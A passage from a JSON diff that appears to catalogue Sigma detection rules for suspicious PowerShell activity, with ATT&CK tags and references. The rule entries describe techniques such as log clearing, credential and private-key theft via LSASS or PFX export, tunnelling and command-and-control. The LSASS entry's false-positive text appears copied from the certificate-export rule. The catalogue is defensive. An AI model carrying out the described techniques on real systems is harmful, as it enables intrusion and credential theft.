of known powershell cmdlets such as \"Clear-EventLog\" to clear the windows event logs", + "uuid": "0f017df3-8f5a-414f-ad6b-24aff1128278", + "value": "Suspicious Eventlog Clear", + "meta": { + "refs": [ + "https://twitter.com/oroneequalsone/status/1568432028361830402", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_clear_eventlog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.001" + ], + "creation_date": "2022/09/12", + "filename": "posh_ps_susp_clear_eventlog.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Rare need to clear logs before doing something. Sometimes used by installers or cleaner scripts. The script should be investigated to determine if it's legitimate" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects technique used by MAZE ransomware to enumerate directories using Powershell", + "uuid": "162e69a7-7981-4344-84a9-0f1c9a217a52", + "value": "Powershell Directory Enumeration", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", + "https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_directory_enum.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1083" + ], + "creation_date": "2022/03/17", + "filename": "posh_ps_susp_directory_enum.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell download command", + "uuid": "403c2cc0-7f6b-4925-9423-bfa573bed7eb", + "value": "Suspicious PowerShell Download", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_download.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_ps_susp_download.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "PowerShell scripts that download content from the Internet" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse the Windows command shell for execution.\nThe Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems.\nThe Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands.\nBatch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops.\nCommon uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple system\n", + "uuid": "b5522a23-82da-44e5-9c8b-e10ed8955f88", + "value": "Powershell Execute Batch Script", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.003/T1059.003.md#atomic-test-1---create-and-execute-batch-script", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_execute_batch_script.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2022/01/02", + "filename": "posh_ps_susp_execute_batch_script.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate administration script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects Commandlet that is used to export certificates from the local certificate store and sometimes used by threat actors to steal private keys from compromised machines", + "uuid": "aa7a3fce-bef5-4311-9cc1-5f04bb8c308c", + "value": "Suspicious Export-PfxCertificate", + "meta": { + "refs": [ + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a", + "https://docs.microsoft.com/en-us/powershell/module/pki/export-pfxcertificate", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_export_pfxcertificate.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.004" + ], + "creation_date": "2021/04/23", + "filename": "posh_ps_susp_export_pfxcertificate.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials.\nThese can be files created by users to store their own credentials, shared credential stores for a group of individuals,\nconfiguration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n", + "uuid": "bd5971a7-626d-46ab-8176-ed643f694f68", + "value": "Extracting Information with PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_extracting.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001" + ], + "creation_date": "2021/12/19", + "filename": "posh_ps_susp_extracting.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of \"TroubleshootingPack\" cmdlets to leverage CVE-2022-30190 or action similar to \"msdt\" lolbin (as described in LOLBAS)", + "uuid": "03409c93-a7c7-49ba-9a4c-a00badf2a153", + "value": "Troubleshooting Pack Cmdlet Execution", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1537919885031772161", + "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_follina_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/06/21", + "filename": "posh_ps_susp_follina_execution.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate usage of \"TroubleshootingPack\" cmdlet for troubleshooting purposes" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity", + "uuid": "84c174ab-d3ef-481f-9c86-a50d0b8e3edb", + "value": "PowerShell Get-Process LSASS in ScriptBlock", + "meta": { + "refs": [ + "https://twitter.com/PythonResponder/status/1385064506049630211", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_getprocess_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2021/04/23", + "filename": "posh_ps_susp_getprocess_lsass.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Powershell code that execute COM Objects", + "uuid": "8bc063d5-3a3a-4f01-a140-bc15e55e8437", + "value": "Suspicious GetTypeFromCLSID ShellExecute", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md#atomic-test-2---powershell-execute-com-object", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gettypefromclsid.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2022/04/02", + "filename": "posh_ps_susp_gettypefromclsid.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "utilize Get-AdComputer to enumerate Computers within Active Directory.", + "uuid": "36bed6b2-e9a0-4fff-beeb-413a92b86138", + "value": "Suspicious Enumerate Active Directory Computers with Get-AdComputer", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_adcomputer.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1018" + ], + "creation_date": "2022/03/17", + "filename": "posh_ps_susp_get_adcomputer.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detetcts PowerShell activity in which Get-Addefaultdomainpasswordpolicy is used to get the default password policy for an Active Directory domain.", + "uuid": "bbb9495b-58fc-4016-b9df-9a3a1b67ca82", + "value": "Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md#atomic-test-9---enumerate-active-directory-password-policy-with-get-addefaultdomainpasswordpolicy", + "https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-addefaultdomainpasswordpolicy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_addefaultdomainpasswordpolicy.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1201" + ], + "creation_date": "2022/03/17", + "filename": "posh_ps_susp_get_addefaultdomainpasswordpolicy.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Get-AdGroup to enumerate Groups within Active Directory", + "uuid": "8c3a6607-b7dc-4f0d-a646-ef38c00b76ee", + "value": "Suspicious Enumerate Active Directory Groups with Get-AdComputer", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_adgroup.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.002" + ], + "creation_date": "2022/03/17", + "filename": "posh_ps_susp_get_adgroup.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of PowerShell to identify the current logged user.", + "uuid": "4096a49c-7de4-4da0-a230-c66ccd56ea5a", + "value": "Suspicious PowerShell Get Current User", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-5---getcurrent-user-with-powershell-script", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_current_user.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033" + ], + "creation_date": "2022/04/04", + "filename": "posh_ps_susp_get_current_user.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of Get-GPO to get one GPO or all the GPOs in a domain.", + "uuid": "eb2fd349-ec67-4caa-9143-d79c7fb34441", + "value": "Suspicious GPO Discovery With Get-GPO", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1615/T1615.md", + "https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpo?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_gpo.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1615" + ], + "creation_date": "2022/06/04", + "filename": "posh_ps_susp_get_gpo.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Get the processes that are running on the local computer.", + "uuid": "af4c87ce-bdda-4215-b998-15220772e993", + "value": "Suspicious Process Discovery With Get-Process", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-3---process-discovery---get-process", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-process?view=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_get_process.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1057" + ], + "creation_date": "2022/03/17", + "filename": "posh_ps_susp_get_process.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers", + "uuid": "0332a266-b584-47b4-933d-a00b103e1b37", + "value": "Suspicious Get-WmiObject", + "meta": { + "refs": [ + "https://attack.mitre.org/datasources/DS0005/", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_gwmi.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546" + ], + "creation_date": "2022/01/12", + "filename": "posh_ps_susp_gwmi.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection", + "uuid": "42d36aa1-3240-4db0-8257-e0118dcdd9cd", + "value": "Suspicious Hyper-V Cmdlets", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/quick-start/enable-hyper-v", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.006/T1564.006.md#atomic-test-3---create-and-start-hyper-v-virtual-machine", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_hyper_v_condlet.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.006" + ], + "creation_date": "2022/04/09", + "filename": "posh_ps_susp_hyper_v_condlet.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell invocation command parameters", + "uuid": "ed965133-513f-41d9-a441-e38076a0798f", + "value": "Suspicious PowerShell Invocations - Generic", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_generic.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/12", + "filename": "posh_ps_susp_invocation_generic.yml", + "author": "Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Very special / sneaky PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious PowerShell invocation command parameters", + "uuid": "ae7fbf8e-f3cb-49fd-8db4-5f3bed522c71", + "value": "Suspicious PowerShell Invocations - Specific", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invocation_specific.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/05", + "filename": "posh_ps_susp_invocation_specific.yml", + "author": "Florian Roth (rule), Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic.\nCommands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n", + "uuid": "d4488827-73af-4f8d-9244-7b7662ef046e", + "value": "Change User Agents with WebRequest", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#t1071001---web-protocols", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_invoke_webrequest_useragent.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1071.001" + ], + "creation_date": "2022/01/23", + "filename": "posh_ps_susp_invoke_webrequest_useragent.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Open a handle on the drive volume via the \\\\.\\ DOS device path specifier and perform direct access read of the first few bytes of the volume.", + "uuid": "70ad982f-67c8-40e0-a955-b920c2fa05cb", + "value": "Suspicious IO.FileStream", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1006/T1006.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_iofilestream.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.003" + ], + "creation_date": "2022/01/09", + "filename": "posh_ps_susp_iofilestream.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects keywords that could indicate the use of some PowerShell exploitation framework", + "uuid": "1f49f2ab-26bc-48b3-96cc-dcffbc93eadf", + "value": "Suspicious PowerShell Keywords", + "meta": { + "refs": [ + "https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462", + "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1", + "https://github.com/hlldz/Phant0m/blob/30c2935d8cf4aafda17ee2fab7cd0c4aa9a607c2/old/Invoke-Phant0m.ps1", + "https://gist.github.com/MHaggis/0dbe00ad401daa7137c81c99c268cfb7", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keywords.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/02/11", + "filename": "posh_ps_susp_keywords.yml", + "author": "Florian Roth, Perez Diego (@darkquassar)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", + "uuid": "fa6a5a45-3ee2-4529-aa14-ee5edc9e29cb", + "value": "Suspicious Get Local Groups Information", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_local_group_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2021/12/12", + "filename": "posh_ps_susp_local_group_reco.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may target user email on local systems to collect sensitive information.\nFiles containing email data can be acquired from a users local system, such as Outlook storage or cache files.\n", + "uuid": "2837e152-93c8-43d2-85ba-c3cd3c2ae614", + "value": "Powershell Local Email Collection", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1114.001/T1114.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mail_acces.yml" + ], + "tags": [ + "attack.collection", + "attack.t1114.001" + ], + "creation_date": "2021/07/21", + "filename": "posh_ps_susp_mail_acces.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation", + "uuid": "66a4d409-451b-4151-94f4-a55d559c49b0", + "value": "PowerShell Deleted Mounted Share", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mounted_share_deletion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.005" + ], + "creation_date": "2020/10/08", + "filename": "posh_ps_susp_mounted_share_deletion.yml", + "author": "oscd.community, @redcanary, Zach Stanford @svch0st", + "level": "medium", + "falsepositive": [ + "Administrators or Power users may remove their shares via cmd line" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.", + "uuid": "29e1c216-6408-489d-8a06-ee9d151ef819", + "value": "Suspicious Mount-DiskImage", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image", + "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_mount_diskimage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.005" + ], + "creation_date": "2022/02/01", + "filename": "posh_ps_susp_mount_diskimage.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts.\nWithout knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism\n", + "uuid": "1883444f-084b-419b-ac62-e0d0c5b3693f", + "value": "Suspicious Connection to Remote Account", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.001/T1110.001.md#atomic-test-2---brute-force-credentials-of-single-active-directory-domain-user-via-ldap-against-domain-controller-ntlm-or-kerberos", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_networkcredential.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110.001" + ], + "creation_date": "2021/12/27", + "filename": "posh_ps_susp_networkcredential.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.", + "uuid": "1c563233-030e-4a07-af8c-ee0490a66d3a", + "value": "Suspicious New-PSDrive to Admin Share", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-2---map-admin-share-powershell", + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-psdrive?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_new_psdrive.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2022/08/13", + "filename": "posh_ps_susp_new_psdrive.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects powershell scripts that creates sockets/listeners which could be indicative of tunneling activity", + "uuid": "bd33d2aa-497e-4651-9893-5c5364646595", + "value": "Suspicious TCP Tunnel Via PowerShell Script", + "meta": { + "refs": [ + "https://github.com/Arno0x/PowerShellScripts/blob/a6b7d5490fbf0b20f91195838f3a11156724b4f7/proxyTunnel.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_proxy_scripts.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090" + ], + "creation_date": "2022/07/08", + "filename": "posh_ps_susp_proxy_scripts.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data", + "uuid": "a9723fcc-881c-424c-8709-fd61442ab3c3", + "value": "Recon Information for Export with PowerShell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_recon_export.yml" + ], + "tags": [ + "attack.collection", + "attack.t1119" + ], + "creation_date": "2021/07/30", + "filename": "posh_ps_susp_recon_export.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users.\nAccounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n", + "uuid": "48a45d45-8112-416b-8a67-46e03a4b2107", + "value": "Remove Account From Domain Admin Group", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1531/T1531.md#atomic-test-3---remove-account-from-domain-admin-group", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_remove_adgroupmember.yml" + ], + "tags": [ + "attack.impact", + "attack.t1531" + ], + "creation_date": "2021/12/26", + "filename": "posh_ps_susp_remove_adgroupmember.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", + "uuid": "22d80745-6f2c-46da-826b-77adaededd74", + "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet - PS", + "meta": { + "refs": [ + "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_service_dacl_modification_set_service.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1574.011" + ], + "creation_date": "2022/10/24", + "filename": "posh_ps_susp_service_dacl_modification_set_service.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare intended use of hidden services", + "Rare FP could occure due to the non linearity of the ScriptBlockText log" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as\na precursor for Collection and to identify potential systems of interest for Lateral Movement.\nNetworks often contain shared network drives and folders that enable users to access file directories on various systems across a network.\n", + "uuid": "95f0643a-ed40-467c-806b-aac9542ec5ab", + "value": "Suspicious Get Information for SMB Share", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_smb_share_reco.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2021/12/15", + "filename": "posh_ps_susp_smb_share_reco.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.", + "uuid": "195626f3-5f1b-4403-93b7-e6cfd4d6a078", + "value": "Suspicious SSL Connection", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1573/T1573.md#atomic-test-1---openssl-c2", + "https://medium.com/walmartglobaltech/openssl-server-reverse-shell-from-windows-client-aee2dbfa0926", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ssl_keyword.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1573" + ], + "creation_date": "2022/01/23", + "filename": "posh_ps_susp_ssl_keyword.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Legitimate administrative script" + ], + "logsource.category": "ps_script", + "logsource.product": "windows" + } + }, + { + "description": "Powershell use PassThru option to start in background", + "uuid": "0718cd72-f316-4aa2-988f-838ea8533277", + "value": "Suspicious Start-Process PassThru", + "meta": { + "refs": [ + 